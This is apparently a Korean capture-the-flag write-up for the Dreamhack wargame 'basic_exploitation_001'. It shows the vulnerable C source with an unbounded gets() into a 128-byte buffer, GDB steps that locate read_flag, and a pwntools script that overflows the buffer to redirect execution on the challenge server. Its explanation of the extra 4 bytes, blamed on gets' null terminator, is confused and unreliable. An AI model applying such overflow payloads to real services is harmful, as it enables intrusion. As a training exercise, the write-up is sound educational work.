Wargame : basic_exploitation_001
C 코드 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
main() 함수 분석
배열을 크기 0x80(128 byte)만큼 할당한다.
initialize() 함수는 입/출력 버퍼를 비활성화시키고, 프로그램의 실행시간을 30초로 제한하는 함수이다.
gets(buf) 부분에서 익스플로잇이 가능하다.
입력값의 크기를 제한하지 않았기 때문에 해당 부분에 취약점이 있는 것을 알 수 있다.
익스플로잇 방법은 gets()부분 입력값으로 128 byte + 4 byte = 132 byte를 아무 의미없는 문자열 입력 후, read_flag() 함수의 주소를 입력하여 read_flag()가 return 되도록 코드를 작성한다.
추가로 4 byte를 입력해 주는 이유는, gets()함수 특성 상 문자열을 입력받은 후 널 종료 문자로 끝나도록 하기 때문에 1 byte가 추가로 할당된다.
추가로 할당된 1 byte는 스택 메모리에 추가적으로 저장될 때 4 byte(1 word)씩 저장되기 때문에 4 byte를 추가로 할당해야 한다.
GDB 디버깅
가장 먼저 read_flag의 주소를 살펴본다.
GDB 디버깅을 들어가서 info fuc으로 함수의 주소를 추적한다.
밑에서 보는바와 같이 read_flag의 주소는 ‘0x080485b9’ 이다.

다음으로는, 위에서 설명하였던 4 byte가 추가되는 것을 이해하기 쉽도록 디버깅 모드로 들어가서 확인해 본다.

보다시피, [ebp - 0x80] 에서 할당된 0x80 뿐만 아니라 밑에 add exp, 4 에서 4 byte가 추가로 할당된 것을 볼 수 있다.
Pwn 코드
from pwn import *
p = remote("host3.dreamhack.games", 11188)
payload = b'A' * 0x80
payload += b'A' * 4
payload += p32(0x080485b9)
# read_flag의 주소를 패킹하여 payload에 더한다.
p.sendline(payload)
p.interactive()
